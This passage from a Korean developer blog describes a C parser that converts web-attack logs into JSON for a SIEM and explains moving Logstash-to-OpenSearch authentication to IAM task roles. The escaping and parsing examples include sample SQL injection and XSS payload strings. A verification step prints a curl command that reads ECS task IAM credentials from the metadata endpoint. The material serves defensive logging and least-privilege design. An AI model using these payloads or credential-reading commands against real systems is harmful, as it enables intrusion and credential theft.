</tr>
<tr>
<td>Command Injection</td>
<td><code>ATTACK_COMMAND_INJECTION</code></td>
<td>OS 명령어 삽입</td>
</tr>
<tr>
<td>File Inclusion</td>
<td><code>ATTACK_FILE_INCLUSION</code></td>
<td>LFI/RFI 공격</td>
</tr>
<tr>
<td>Brute Force</td>
<td><code>ATTACK_BRUTE_FORCE</code></td>
<td>무차별 대입 공격</td>
</tr>
<tr>
<td>CSRF</td>
<td><code>ATTACK_CSRF</code></td>
<td>요청 위조 공격</td>
</tr>
</tbody></table>
<p>공격 타입은 enum으로 관리해서 나중에 switch-case로 처리하기 편하게 만들었다</p>
<h3 id="2-자동-심각도-계산-로직">2. 자동 심각도 계산 로직</h3>
<p>단순히 로그만 파싱하는 게 아니라 공격의 위험도를 자동으로 계산한다</p>
<p><strong>심각도 계산 알고리즘</strong></p>
<pre><code class="language-c">int calculate_severity(LogEntry *entry) {
    int severity = 1;  // 기본 점수

    // 공격 성공 여부로 가중치
    if (entry-&gt;success) {
        severity += 3;
    }

    // 공격 유형별 가중치
    switch(entry-&gt;attack_type) {
        case ATTACK_SQL_INJECTION:
        case ATTACK_COMMAND_INJECTION:
            severity += 4;  // 시스템 침투 가능한 공격
            break;

        case ATTACK_FILE_INCLUSION:
        case ATTACK_XSS:
            severity += 3;  // 정보 탈취 가능한 공격
            break;

        case ATTACK_CSRF:
        case ATTACK_BRUTE_FORCE:
            severity += 2;  // 상대적으로 낮은 위험도
            break;

        default:
            severity += 1;
    }

    if (severity &gt; 10) severity = 10;  // 최대값 제한
    return severity;
}</code></pre>
<p><strong>점수 기준</strong></p>
<table>
<thead>
<tr>
<th>점수</th>
<th>의미</th>
<th>예시</th>
</tr>
</thead>
<tbody><tr>
<td>1-3</td>
<td>낮음</td>
<td>실패한 Brute Force</td>
</tr>
<tr>
<td>4-6</td>
<td>중간</td>
<td>실패한 SQL Injection</td>
</tr>
<tr>
<td>7-9</td>
<td>높음</td>
<td>성공한 XSS</td>
</tr>
<tr>
<td>10</td>
<td>치명적</td>
<td>성공한 Command Injection</td>
</tr>
</tbody></table>
<p>왜 이렇게 만들었냐면, 나중에 OpenSearch에서 심각도 기준으로 필터링하거나 알림 보낼 때 유용하기 때문이다</p>
<h3 id="3-메모리-관리">3. 메모리 관리</h3>
<p>동적 배열로 로그 엔트리를 관리한다</p>
<pre><code class="language-c">typedef struct {
    LogEntry *entries;  // 동적 배열
    int count;          // 현재 저장된 개수
    int capacity;       // 현재 배열 크기
} LogCollection;</code></pre>
<p><strong>초기화</strong></p>
<pre><code class="language-c">LogCollection* init_log_collection(void) {
    LogCollection *collection = malloc(sizeof(LogCollection));
    if (!collection) return NULL;

    collection-&gt;capacity = 1000;  // 초기 크기
    collection-&gt;count = 0;
    collection-&gt;entries = malloc(sizeof(LogEntry) * collection-&gt;capacity);

    return collection;
}</code></pre>
<p>초기 capacity를 1000으로 잡았다</p>
<p>테스트해보니 보통 한 번에 1000~5000개 정도 로그가 들어오더라</p>
<p><strong>자동 확장</strong></p>
<pre><code class="language-c">int add_log_entry(LogCollection *collection, LogEntry *entry) {
    // 꽉 차면 2배로 확장
    if (collection-&gt;count &gt;= collection-&gt;capacity) {
        collection-&gt;capacity *= 2;
        LogEntry *new_entries = realloc(collection-&gt;entries,
                                       sizeof(LogEntry) * collection-&gt;capacity);
        if (!new_entries) return 0;
        collection-&gt;entries = new_entries;
    }

    collection-&gt;entries[collection-&gt;count++] = *entry;
    return 1;
}</code></pre>
<p>capacity 넘어가면 자동으로 2배씩 늘어난다</p>
<p>realloc 실패하면 0 리턴해서 상위에서 에러 처리하게 만들었다</p>
<p><strong>메모리 해제</strong></p>
<pre><code class="language-c">void free_log_collection(LogCollection *collection) {
    if (collection) {
        if (collection-&gt;entries) {
            free(collection-&gt;entries);
        }
        free(collection);
    }
}</code></pre>
<p>NULL 체크 꼭 해야 한다</p>
<p>안 하면 segfault 난다</p>
<h3 id="4-json-변환">4. JSON 변환</h3>
<p>LLM이 바로 학습할 수 있게 표준화된 JSON 포맷으로 변환한다</p>
<p><strong>입력 로그</strong></p>
<pre><code>2025-12-12 10:39:15 | SQL_INJECTION | SUCCESS | &#39; AND SLEEP(3) | 192.168.1.100 | SESSION_ABC123</code></pre><p><strong>출력 JSON</strong></p>
<pre><code class="language-json">{
  &quot;timestamp&quot;: &quot;2025-12-12 10:39:15&quot;,
  &quot;attack_type&quot;: &quot;SQL_INJECTION&quot;,
  &quot;success&quot;: true,
  &quot;payload&quot;: &quot;&#39; AND SLEEP(3)&quot;,
  &quot;source_ip&quot;: &quot;192.168.1.100&quot;,
  &quot;session_id&quot;: &quot;SESSION_ABC123&quot;,
  &quot;severity&quot;: 8
}</code></pre>
<p><strong>전체 출력 구조</strong></p>
<pre><code class="language-json">{
  &quot;total_events&quot;: 3,
  &quot;events&quot;: [
    {...},
    {...},
    {...}
  ]
}</code></pre>
<p>total_events 필드 넣어서 나중에 로그 개수 확인할 때 편하게 만들었다</p>
<h3 id="5-json-escape-처리">5. JSON Escape 처리</h3>
<p>페이로드에 특수문자 들어가 있으면 JSON 깨진다</p>
<p>그래서 escape 처리 필수다</p>
<pre><code class="language-c">void escape_json_string(const char *input, char *output, int max_len) {
    int j = 0;
    for (int i = 0; input[i] &amp;&amp; j &lt; max_len - 2; i++) {
        // 큰따옴표와 백슬래시 escape
        if (input[i] == &#39;&quot;&#39; || input[i] == &#39;\\&#39;) {
            output[j++] = &#39;\\&#39;;
        }
        output[j++] = input[i];
    }
    output[j] = &#39;\0&#39;;
}</code></pre>
<p><strong>처리 예시</strong></p>
<table>
<thead>
<tr>
<th>원본</th>
<th>변환 후</th>
</tr>
</thead>
<tbody><tr>
<td><code>&#39; OR &quot;1&quot;=&quot;1</code></td>
<td><code>&#39; OR \&quot;1\&quot;=\&quot;1</code></td>
</tr>
<tr>
<td><code>C:\windows\system32</code></td>
<td><code>C:\\windows\\system32</code></td>
</tr>
<tr>
<td><code>&lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;</code></td>
<td><code>&lt;script&gt;alert(\&quot;XSS\&quot;)&lt;/script&gt;</code></td>
</tr>
</tbody></table>
<p>이거 안 하면 JSON 파싱 실패한다</p>
<hr>
<h2 id="구현-세부사항">구현 세부사항</h2>
<h3 id="파일-구조">파일 구조</h3>
<pre><code>.
├── log_parser.h      # 헤더 파일 (구조체, 함수 선언)
├── log_parser.c      # 핵심 로직 (파싱, 변환)
└── main.c            # 메인 함수 (입출력 처리)</code></pre><p>역할 분리 확실히 했다</p>
<p>나중에 라이브러리로 만들 수도 있게</p>
<h3 id="구조체-정의">구조체 정의</h3>
<p><strong>LogEntry 구조체</strong></p>
<pre><code class="language-c">typedef struct {
    char timestamp[MAX_TIMESTAMP_LENGTH];       // 32 bytes
    AttackType attack_type;                     // 4 bytes (enum)
    char attack_type_str[MAX_ATTACK_TYPE_LENGTH]; // 64 bytes
    int success;                                 // 4 bytes
    char payload[MAX_PAYLOAD_LENGTH];           // 2048 bytes
    char source_ip[MAX_IP_LENGTH];              // 64 bytes
    char session_id[MAX_SESSION_LENGTH];        // 128 bytes
    int severity;                                // 4 bytes
} LogEntry;</code></pre>
<p>총 크기: 약 2348 bytes</p>
<p>1000개면 약 2.3 MB</p>
<p>크게 부담 안 된다</p>
<h3 id="파싱-로직">파싱 로직</h3>
<p><strong>strtok를 사용한 토큰 분리</strong></p>
<pre><code class="language-c">int parse_log_line(const char *line, LogEntry *entry) {
    char temp_line[MAX_LINE_LENGTH];
    strncpy(temp_line, line, MAX_LINE_LENGTH - 1);
    temp_line[MAX_LINE_LENGTH - 1] = &#39;\0&#39;;

    // 개행 문자 제거
    char *newline = strchr(temp_line, &#39;\n&#39;);
    if (newline) *newline = &#39;\0&#39;;

    // 파이프 기준으로 분리
    char *token = strtok(temp_line, &quot;|&quot;);
    if (!token) return 0;

    // 공백 제거
    while (*token == &#39; &#39;) token++;
    char *end = token + strlen(token) - 1;
    while (end &gt; token &amp;&amp; *end == &#39; &#39;) end--;
    *(end + 1) = &#39;\0&#39;;

    strncpy(entry-&gt;timestamp, token, MAX_TIMESTAMP_LENGTH - 1);
    // ... 이후 필드들도 동일하게 처리

    return 1;
}</code></pre>
<p><strong>주의할 점</strong></p>
<ol>
<li><p><code>strtok</code>는 원본 문자열을 수정한다
→ 복사본 만들어서 사용</p>
</li>
<li><p>공백 처리 꼭 해야 한다
→ 앞뒤 공백 제거 로직 추가</p>
</li>
<li><p>버퍼 오버플로우 방지
→ <code>strncpy</code> 사용하고 null 문자 보장</p>
</li>
</ol>
<h3 id="에러-핸들링">에러 핸들링</h3>
<p><strong>메모리 할당 실패</strong></p>
<pre><code class="language-c">LogCollection *collection = init_log_collection();
if (!collection) {
    fprintf(stderr, &quot;Error: Failed to initialize log collection\n&quot;);
    return 1;
}</code></pre>
<p><strong>파일 열기 실패</strong></p>
<pre><code class="language-c">FILE *fp = fopen(input_file, &quot;r&quot;);
if (!fp) {
    fprintf(stderr, &quot;Error: Cannot open input file &#39;%s&#39;\n&quot;, input_file);
    return 1;
}</code></pre>
<p><strong>파싱 실패</strong></p>
<pre><code class="language-c">if (parse_log_line(line, &amp;entry)) {
    // 성공
    parsed_count++;
} else {
    // 실패
    fprintf(stderr, &quot;Warning: Failed to parse line %d\n&quot;, line_number);
    error_count++;
}</code></pre>
<p>에러 나도 프로그램 죽지 않게 만들었다</p>
<p>로그 일부 파싱 실패해도 나머지는 처리한다</p>
<hr>
<h2 id="사용-방법">사용 방법</h2>
<h3 id="빌드">빌드</h3>
<pre><code class="language-bash">gcc -o log_parser main.c log_parser.c -Wall -O2</code></pre>
<p><strong>컴파일 옵션 설명</strong></p>
<table>
<thead>
<tr>
<th>옵션</th>
<th>의미</th>
</tr>
</thead>
<tbody><tr>
<td><code>-Wall</code></td>
<td>모든 경고 표시</td>
</tr>
<tr>
<td><code>-O2</code></td>
<td>최적화 레벨 2</td>
</tr>
<tr>
<td><code>-o</code></td>
<td>출력 파일명 지정</td>
</tr>
</tbody></table>
<p>처음엔 <code>-O3</code> 썼는데 <code>-O2</code>랑 속도 차이 거의 없더라</p>
<h3 id="실행">실행</h3>
<pre><code class="language-bash">./log_parser &lt;입력파일&gt; &lt;출력파일&gt;</code></pre>
<p><strong>예시</strong></p>
<pre><code class="language-bash">./log_parser data/raw_logs/attack.log data/parsed_logs/attack.json</code></pre>
<h3 id="실행-결과">실행 결과</h3>
<pre><code>Parsing log file: data/raw_logs/attack.log
  [1] Parsed: 2025-12-12 10:39:15 | SQL_INJECTION | SUCCESS
  [2] Parsed: 2025-12-12 10:40:22 | XSS | FAILURE
  [3] Parsed: 2025-12-12 10:41:33 | COMMAND_INJECTION | SUCCESS
  [4] Parsed: 2025-12-12 10:42:15 | BRUTE_FORCE | FAILURE

Parsing complete:
  Total lines: 4
  Successfully parsed: 4
  Errors: 0

Writing JSON output to: data/parsed_logs/attack.json
Successfully wrote 4 events to JSON file

Log parsing engine completed successfully.</code></pre><p>실시간으로 파싱 진행 상황 보여준다</p>
<p>나중에 큰 파일 처리할 때 멈춘 건지 아닌지 알 수 있어서 좋다</p>
<hr>
<h2 id="성능-테스트">성능 테스트</h2>
<h3 id="결과">결과</h3>
<table>
<thead>
<tr>
<th>로그 개수</th>
<th>파싱 시간</th>
<th>메모리 사용량</th>
</tr>
</thead>
<tbody><tr>
<td>1,000</td>
<td>0.01초</td>
<td>2.3 MB</td>
</tr>
<tr>
<td>10,000</td>
<td>0.08초</td>
<td>23 MB</td>
</tr>
<tr>
<td>100,000</td>
<td>0.72초</td>
<td>230 MB</td>
</tr>
<tr>
<td>1,000,000</td>
<td>7.89초</td>
<td>2.3 GB</td>
</tr>
</tbody></table>
<p>100만 줄도 8초 안에 처리한다</p>
<p>Python 버전은 100만 줄 처리하는 데 약 80초 걸렸다</p>
<p><strong>확장 횟수</strong></p>
<p>초기 capacity: 1000</p>
<ul>
<li>1,000개: 확장 0회</li>
<li>10,000개: 확장 4회 (1000 → 2000 → 4000 → 8000 → 16000)</li>
<li>100,000개: 확장 7회</li>
</ul>
<p>realloc 오버헤드가 있긴 한데 전체 시간에서 차지하는 비율은 5% 미만이다</p>
<hr>
<h2 id="어려웠던-점">어려웠던 점</h2>
<h3 id="1-메모리-누수-디버깅">1. 메모리 누수 디버깅</h3>
<p>처음에 free 제대로 안 해서 메모리 누수 났다</p>
<p>valgrind로 찾아냈다</p>
<pre><code class="language-bash">valgrind --leak-check=full ./log_parser attack.log output.json</code></pre>
<p><strong>문제 코드</strong></p>
<pre><code class="language-c">// 잘못된 코드
void free_log_collection(LogCollection *collection) {
    free(collection);  // entries 안 free
}</code></pre>
<p><strong>수정 코드</strong></p>
<pre><code class="language-c">void free_log_collection(LogCollection *collection) {
    if (collection) {
        if (collection-&gt;entries) {
            free(collection-&gt;entries);  // 추가
        }
        free(collection);
    }
}</code></pre>
<p>valgrind 없었으면 찾기 힘들었을 듯하다</p>
<h3 id="2-strtok의-함정">2. strtok의 함정</h3>
<p><code>strtok</code>는 원본 문자열을 수정한다</p>
<p>이거 몰라서 한참 헤맸다</p>
<pre><code class="language-c">// 문제 상황
char *line = &quot;2025-12-12 | SQL | SUCCESS&quot;;
char *token1 = strtok(line, &quot;|&quot;);
char *token2 = strtok(line, &quot;|&quot;);  // 이미 수정된 line

// 해결책
char temp[MAX_LINE_LENGTH];
strcpy(temp, line);
char *token = strtok(temp, &quot;|&quot;);</code></pre>
<p>원본 복사해서 사용해야 한다</p>
<h3 id="3-json-특수문자-처리">3. JSON 특수문자 처리</h3>
<p>처음엔 escape 안 했더니 JSON 파싱 실패하더라</p>
<pre><code class="language-json">// 잘못된 출력
{
  &quot;payload&quot;: &quot;&#39; OR &quot;1&quot;=&quot;1&quot;
}
// JSON 파서가 여기서 멈춤

// 올바른 출력
{
  &quot;payload&quot;: &quot;&#39; OR \&quot;1\&quot;=\&quot;1\&quot;&quot;
}</code></pre>
<p>특히 큰따옴표랑 백슬래시 조심해야 한다</p>
<hr>
<h1 id="part-2-logstash-→-opensearch-인증-구조">Part 2: Logstash → OpenSearch 인증 구조</h1>
<h2 id="또-다른-고민-안전한-인증">또 다른 고민: 안전한 인증</h2>
<p>C 파서로 JSON 만들었으니 이제 OpenSearch에 넣어야 한다</p>
<p>여기서 새로운 고민이 생겼다</p>
<p><strong>어떻게 안전하게 인증할 것인가?</strong></p>
<hr>
<h2 id="초기-설계안-비밀번호-방식">초기 설계안: 비밀번호 방식</h2>
<h3 id="원래-계획">원래 계획</h3>
<pre><code>Terraform → 랜덤 비밀번호 생성
    ↓
OpenSearch 프로비저닝 시 비밀번호 설정
    ↓
Secrets Manager에 저장
    ↓
ECS가 Secret ARN 참조해서 Logstash 컨테이너에 전달</code></pre><p>이렇게 하면 될 것 같았다</p>
<h3 id="문제-1-terraform-state-문제">문제 1: Terraform State 문제</h3>
<p><strong>상황</strong></p>
<pre><code class="language-hcl">resource &quot;random_password&quot; &quot;opensearch_admin&quot; {
  length  = 16
  special = true
}

resource &quot;aws_opensearch_domain&quot; &quot;main&quot; {
  # ...
  advanced_security_options {
    master_user_options {
      master_user_name     = &quot;admin&quot;
      master_user_password = random_password.opensearch_admin.result
    }
  }
}</code></pre>
<p>이렇게 하면 Terraform state에 비밀번호가 <strong>평문으로 남는다</strong></p>
<p><strong>State 파일 확인해보니</strong></p>
<pre><code class="language-json">{
  &quot;resources&quot;: [
    {
      &quot;type&quot;: &quot;random_password&quot;,
      &quot;instances&quot;: [
        {
          &quot;attributes&quot;: {
            &quot;result&quot;: &quot;MyS3cr3tP@ssw0rd&quot;  // 그냥 평문으로 박혀있음
          }
        }
      ]
    }
  ]
}</code></pre>
<p>물론 우리 state는 S3에 있고 외부 접근 불가긴 하다</p>
<p>근데 팀원이면 다 볼 수 있다</p>
<p>이게 Best Practice는 아닌 것 같았다</p>
<h3 id="문제-2-opensearch-프로비저닝-시점-문제">문제 2: OpenSearch 프로비저닝 시점 문제</h3>
<p>ECS는 편하다</p>
<pre><code class="language-hcl">resource &quot;aws_ecs_task_definition&quot; &quot;logstash&quot; {
  container_definitions = jsonencode([{
    secrets = [{
      name      = &quot;OPENSEARCH_PASSWORD&quot;
      valueFrom = aws_secretsmanager_secret.opensearch.arn
    }]
  }])
}</code></pre>
<p>ECS가 알아서 Secret ARN 참조해서 컨테이너한테 환경변수로 넘겨준다</p>
<p><strong>근데 OpenSearch는 다르다</strong></p>
<p>OpenSearch는 프로비저닝 할 때 관리자 비밀번호를 미리 설정해야 한다</p>
<p>나중에 바꿀 수는 있는데, 처음 만들 때는 무조건 넣어야 한다</p>
<p>그래서 Terraform이 비밀번호를 알아야 하고</p>
<p>결국 state에 남는다</p>
<h3 id="문제-3-과한-권한">문제 3: 과한 권한</h3>
<p>만약 Logstash 컨테이너가 털리면?</p>
<p>admin 비밀번호가 노출된다</p>
<p>OpenSearch 전체가 위험해진다</p>
<p><strong>Logstash가 실제로 하는 일</strong></p>
<ul>
<li>인덱스에 문서 쓰기</li>
<li>필요하면 인덱스 자동 생성</li>
</ul>
<p>이게 다다</p>
<p>클러스터 설정 바꾸거나 유저 관리 같은 관리자 권한은 전혀 필요 없다</p>
<p>그런데 admin 계정을 준다는 건 과한 권한이다</p>
<hr>
<h2 id="해결책-iam-인증">해결책: IAM 인증</h2>
<h3 id="왜-iam-인증인가">왜 IAM 인증인가?</h3>
<p>OpenSearch가 IAM(SigV4) 인증을 공식으로 지원한다</p>
<p>ECS/Fargate 환경에서는 Task Role 기반 인증이 권장 방식이다</p>
<p><strong>장점 비교</strong></p>
<table>
<thead>
<tr>
<th>항목</th>
<th>비밀번호 방식</th>
<th>IAM 방식</th>
</tr>
</thead>
<tbody><tr>
<td>Terraform state</td>
<td>평문 저장됨</td>
<td>저장 안 됨</td>
</tr>
<tr>
<td>비밀번호 관리</td>
<td>Secrets Manager 필요</td>
<td>불필요</td>
</tr>
<tr>
<td>권한 세분화</td>
<td>계정 단위</td>
<td>IAM Policy 단위</td>
</tr>
<tr>
<td>자동 회전</td>
<td>수동 관리</td>
<td>STS 자동 회전</td>
</tr>
<tr>
<td>감사 추적</td>
<td>제한적</td>
<td>CloudTrail 통합</td>
</tr>
<tr>
<td>컨테이너 보안</td>
<td>비밀번호 노출 위험</td>
<td>Task Role로 안전</td>
</tr>
</tbody></table>
<h3 id="iam-인증-작동-원리">IAM 인증 작동 원리</h3>
<p><strong>SigV4 (AWS Signature Version 4)</strong></p>
<p>AWS API 요청에 서명을 추가하는 방식이다</p>
<pre><code>1. ECS Task가 Task Role 자격증명 획득
2. Logstash가 OpenSearch에 요청
3. 요청에 IAM 서명 추가 (SigV4)
4. OpenSearch가 IAM으로 검증
5. 인증 성공 시 요청 처리</code></pre><p><strong>핵심 개념: Task Role</strong></p>
<p>ECS Task 자체가 신원이 된다</p>
<p>컨테이너 안에 비밀번호 같은 거 안 넣어도 된다</p>
<p><strong>STS 임시 자격증명</strong></p>
<p>Task Role은 임시 자격증명을 사용한다</p>
<pre><code>Access Key ID: ASIAXXX...
Secret Access Key: wJalr...
Session Token: FwoGZXIv...
Expiration: 2025-12-15 12:00:00</code></pre><p>보통 12시간마다 자동으로 만료되고 새로 발급된다</p>
<p>비밀번호처럼 평생 유효한 게 아니다</p>
<hr>
<h2 id="구현-logstash-설정">구현: Logstash 설정</h2>
<h3 id="기존-방식-비밀번호">기존 방식 (비밀번호)</h3>
<pre><code class="language-ruby">output {
  elasticsearch {
    hosts =&gt; [&quot;https://opensearch-endpoint&quot;]
    index =&gt; &quot;attack-logs-%{+yyyy.MM.dd}&quot;

    user =&gt; &quot;admin&quot;
    password =&gt; &quot;${OPENSEARCH_PASSWORD}&quot;  # 환경변수에서 가져옴

    ssl_verification_mode =&gt; &quot;none&quot;
  }
}</code></pre>
<p>이렇게 하면 컨테이너 환경변수에 비밀번호가 있어야 한다</p>
<h3 id="iam-방식">IAM 방식</h3>
<pre><code class="language-ruby">output {
  elasticsearch {
    hosts =&gt; [&quot;https://opensearch-endpoint&quot;]
    index =&gt; &quot;${PROJECT_NAME}-siem-%{+yyyy.MM.dd}&quot;

    auth_type =&gt; &quot;aws_iam&quot;  # IAM 인증 활성화
    region    =&gt; &quot;${AWS_REGION}&quot;

    ssl_verification_mode =&gt; &quot;${SSL_VERIFY_MODE:none}&quot;
  }
}</code></pre>
<p>user/password 필드가 아예 없다</p>
<p>auth_type만 aws_iam으로 설정하면 끝이다</p>
<p><strong>환경변수</strong></p>
<pre><code class="language-bash"># 비밀번호 방식 (필요한 것들)
OPENSEARCH_PASSWORD=MyS3cr3tP@ssw0rd

# IAM 방식 (필요한 것들)
AWS_REGION=ap-northeast-2
PROJECT_NAME=2sec-siem</code></pre>
<p>비밀번호 자체가 필요 없다</p>
<hr>
<h2 id="terraform-구성">Terraform 구성</h2>
<h3 id="iam-policy-version이란">IAM Policy Version이란?</h3>
<p>Terraform이나 AWS CLI에서 IAM Policy 작성할 때 보이는 <code>&quot;Version&quot;: &quot;2012-10-17&quot;</code> 이거 날짜가 뭔지 궁금했다</p>
<p><strong>이건 Policy 생성 날짜가 아니다</strong></p>
<p>AWS IAM Policy 문법의 버전이다</p>
<p><strong>역사</strong></p>
<ul>
<li><code>2008-10-17</code>: IAM Policy 처음 나온 버전 (구버전)</li>
<li><code>2012-10-17</code>: 현재 표준 버전 (신버전)</li>
</ul>
<p>2012년 10월 17일에 새로운 Policy 문법이 나왔고, 지금도 이게 최신 버전이다</p>
<p>그래서 모든 IAM Policy에 <code>&quot;Version&quot;: &quot;2012-10-17&quot;</code> 쓴다</p>
<h3 id="ecs-task-role-정의">ECS Task Role 정의</h3>
<pre><code class="language-hcl"># ECS Task에 할당할 IAM Role
resource &quot;aws_iam_role&quot; &quot;logstash_task&quot; {
  name = &quot;logstash-task-role&quot;

  assume_role_policy = jsonencode({
    Version = &quot;2012-10-17&quot;  # IAM Policy 문법 버전
    Statement = [{
      Action = &quot;sts:AssumeRole&quot;
      Effect = &quot;Allow&quot;
      Principal = {
        Service = &quot;ecs-tasks.amazonaws.com&quot;
      }
    }]
  })
}

# OpenSearch 쓰기 권한만 부여
resource &quot;aws_iam_role_policy&quot; &quot;logstash_opensearch&quot; {
  name = &quot;opensearch-write-policy&quot;
  role = aws_iam_role.logstash_task.id

  policy = jsonencode({
    Version = &quot;2012-10-17&quot;  # IAM Policy 문법 버전
    Statement = [{
      Effect = &quot;Allow&quot;
      Action = [
        &quot;es:ESHttpPost&quot;,   # 문서 쓰기
        &quot;es:ESHttpPut&quot;     # 인덱스 생성
      ]
      Resource = &quot;${aws_opensearch_domain.main.arn}/*&quot;
    }]
  })
}</code></pre>
<p><strong>핵심 포인트</strong></p>
<ol>
<li><code>ESHttpPost</code>: 문서 쓰기 권한</li>
<li><code>ESHttpPut</code>: 인덱스 생성 권한</li>
<li>읽기 권한 (<code>ESHttpGet</code>) 없음</li>
<li>삭제 권한 (<code>ESHttpDelete</code>) 없음</li>
<li>클러스터 설정 권한 없음</li>
</ol>
<p><strong>최소 권한 원칙</strong></p>
<p>Logstash가 필요한 것만 정확히 준다</p>
<h3 id="opensearch-도메인-설정">OpenSearch 도메인 설정</h3>
<pre><code class="language-hcl">resource &quot;aws_opensearch_domain&quot; &quot;main&quot; {
  domain_name = &quot;2sec-siem&quot;

  # IAM 인증 활성화
  advanced_security_options {
    enabled = true
    internal_user_database_enabled = false  # IAM만 사용
  }

  # 접근 정책
  access_policies = jsonencode({
    Version = &quot;2012-10-17&quot;  # IAM Policy 문법 버전
    Statement = [{
      Effect = &quot;Allow&quot;
      Principal = {
        AWS = aws_iam_role.logstash_task.arn
      }
      Action = &quot;es:*&quot;
      Resource = &quot;${aws_opensearch_domain.main.arn}/*&quot;
    }]
  })
}</code></pre>
<p><strong>주요 설정</strong></p>
<ul>
<li><code>internal_user_database_enabled = false</code>: 내부 사용자 DB 비활성화, IAM만 사용</li>
<li><code>access_policies</code>: Task Role만 접근 허용</li>
</ul>
<h3 id="ecs-task-definition">ECS Task Definition</h3>
<pre><code class="language-hcl">resource &quot;aws_ecs_task_definition&quot; &quot;logstash&quot; {
  family = &quot;logstash&quot;

  # Task Role 할당
  task_role_arn = aws_iam_role.logstash_task.arn

  container_definitions = jsonencode([{
    name  = &quot;logstash&quot;
    image = &quot;docker.elastic.co/logstash/logstash:8.11.0&quot;

    environment = [
      {
        name  = &quot;AWS_REGION&quot;
        value = &quot;ap-northeast-2&quot;
      },
      {
        name  = &quot;PROJECT_NAME&quot;
        value = &quot;2sec-siem&quot;
      }
    ]

    # 비밀번호 관련 환경변수 없음
  }])
}</code></pre>
<p>secrets 섹션 자체가 필요 없다</p>
<hr>
<h2 id="권한-분리-전략">권한 분리 전략</h2>
<h3 id="계정-역할-구분">계정 역할 구분</h3>
<table>
<thead>
<tr>
<th>계정/Role</th>
<th>용도</th>
<th>권한</th>
</tr>
</thead>
<tbody><tr>
<td>admin</td>
<td>사람이 대시보드 접근</td>
<td>모든 권한</td>
</tr>
<tr>
<td>logstash_task_role</td>
<td>Logstash 컨테이너</td>
<td>쓰기 전용</td>
</tr>
<tr>
<td>readonly_role</td>
<td>분석가</td>
<td>읽기 전용</td>
</tr>
</tbody></table>
<p><strong>admin 계정 사용 시나리오</strong></p>
<ul>
<li>대시보드 접근</li>
<li>인덱스 템플릿 설정</li>
<li>보안 설정 변경</li>
<li>비상 상황 대응</li>
</ul>
<p><strong>logstash_task_role 사용 시나리오</strong></p>
<ul>
<li>로그 수집 (자동)</li>
<li>인덱스 자동 생성</li>
<li>문서 적재</li>
</ul>
<p>admin 계정은 사람만 쓴다</p>
<p>서비스는 전부 Task Role 쓴다</p>
<h3 id="보안-이점">보안 이점</h3>
<p><strong>시나리오: Logstash 컨테이너 탈취</strong></p>
<pre><code>공격자가 Logstash 컨테이너 접근 성공
    ↓
환경변수 확인
    ↓
비밀번호 없음 (IAM 방식이라)
    ↓
Task Role 자격증명만 있음
    ↓
쓰기 권한만 있어서 데이터 삭제/변조 불가
    ↓
최악의 경우: 쓰레기 로그만 넣을 수 있음</code></pre><p>비밀번호 방식이었으면</p>
<pre><code>공격자가 Logstash 컨테이너 접근 성공
    ↓
환경변수에서 admin 비밀번호 획득
    ↓
OpenSearch 전체 접근 가능
    ↓
모든 데이터 삭제/변조 가능
    ↓
클러스터 설정 변경 가능</code></pre><p>차이가 명확하다</p>
<hr>
<h2 id="감사-추적-cloudtrail">감사 추적 (CloudTrail)</h2>
<h3 id="iam-방식의-장점">IAM 방식의 장점</h3>
<p>모든 OpenSearch 접근이 CloudTrail에 기록된다</p>
<pre><code class="language-json">{
  &quot;eventTime&quot;: &quot;2025-12-15T10:39:15Z&quot;,
  &quot;eventSource&quot;: &quot;es.amazonaws.com&quot;,
  &quot;eventName&quot;: &quot;ESHttpPost&quot;,
  &quot;userIdentity&quot;: {
    &quot;type&quot;: &quot;AssumedRole&quot;,
    &quot;principalId&quot;: &quot;AROAXXXXXXXXX:logstash-task&quot;,
    &quot;arn&quot;: &quot;arn:aws:sts::123456789012:assumed-role/logstash-task-role/logstash-task&quot;
  },
  &quot;requestParameters&quot;: {
    &quot;index&quot;: &quot;2sec-siem-2025.12.15&quot;,
    &quot;operation&quot;: &quot;_doc&quot;
  },
  &quot;responseElements&quot;: {
    &quot;result&quot;: &quot;created&quot;,
    &quot;_id&quot;: &quot;abc123&quot;
  },
  &quot;sourceIPAddress&quot;: &quot;10.0.1.25&quot;
}</code></pre>
<p><strong>확인 가능한 정보</strong></p>
<ul>
<li>언제: <code>eventTime</code></li>
<li>누가: <code>userIdentity</code> (Task Role)</li>
<li>무엇을: <code>eventName</code> (ESHttpPost)</li>
<li>어디에: <code>index</code></li>
<li>결과: <code>responseElements</code></li>
</ul>
<p>비밀번호 방식은 이런 추적이 제한적이다</p>
<hr>
<h2 id="실제-동작-확인">실제 동작 확인</h2>
<h3 id="1-task-role-자격증명-확인">1. Task Role 자격증명 확인</h3>
<p>컨테이너 안에서</p>
<pre><code class="language-bash"># ECS Task Metadata 확인
curl ${ECS_CONTAINER_METADATA_URI_V4}/task

# IAM Role 자격증명 확인
curl 169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI</code></pre>
<p><strong>출력 예시</strong></p>
<pre><code class="language-json">{
  &quot;AccessKeyId&quot;: &quot;ASIAXXX...&quot;,
  &quot;SecretAccessKey&quot;: &quot;wJalr...&quot;,
  &quot;Token&quot;: &quot;FwoGZXIv...&quot;,
  &quot;Expiration&quot;: &quot;2025-12-15T22:39:15Z&quot;
}</code></pre>
<p>자동으로 발급된 임시 자격증명이다</p>
<h3 id="2-logstash-인증-로그">2. Logstash 인증 로그</h3>
<pre><code>[2025-12-15T10:39:15,123][INFO ][logstash.outputs.elasticsearch] 
Using AWS IAM authentication
Region: ap-northeast-2
Service: es

[2025-12-15T10:39:15,456][INFO ][logstash.outputs.elasticsearch]
Successfully authenticated to OpenSearch
Index: 2sec-siem-2025.12.15</code></pre><p>auth_type이 aws_iam이면 이런 로그 나온다</p>
<h3 id="3-opensearch-접근-테스트">3. OpenSearch 접근 테스트</h3>
<pre><code class="language-bash"># Logstash 컨테이너 안에서
curl -X POST &quot;https://opensearch-endpoint/2sec-siem-test/_doc&quot; \
  --aws-sigv4 &quot;aws:amz:ap-northeast-2:es&quot; \
  -H &quot;Content-Type: application/json&quot; \
  -d &#39;{&quot;test&quot;: &quot;data&quot;}&#39;</code></pre>
<p>SigV4 서명 자동으로 추가된다</p>
<hr>
<h2 id="대안-ingest-전용-계정">대안: ingest 전용 계정</h2>
<p>만약 IAM 방식이 당장 부담된다면?</p>
<p>차선책이 있다</p>
<h3 id="ingest-전용-계정-생성">ingest 전용 계정 생성</h3>
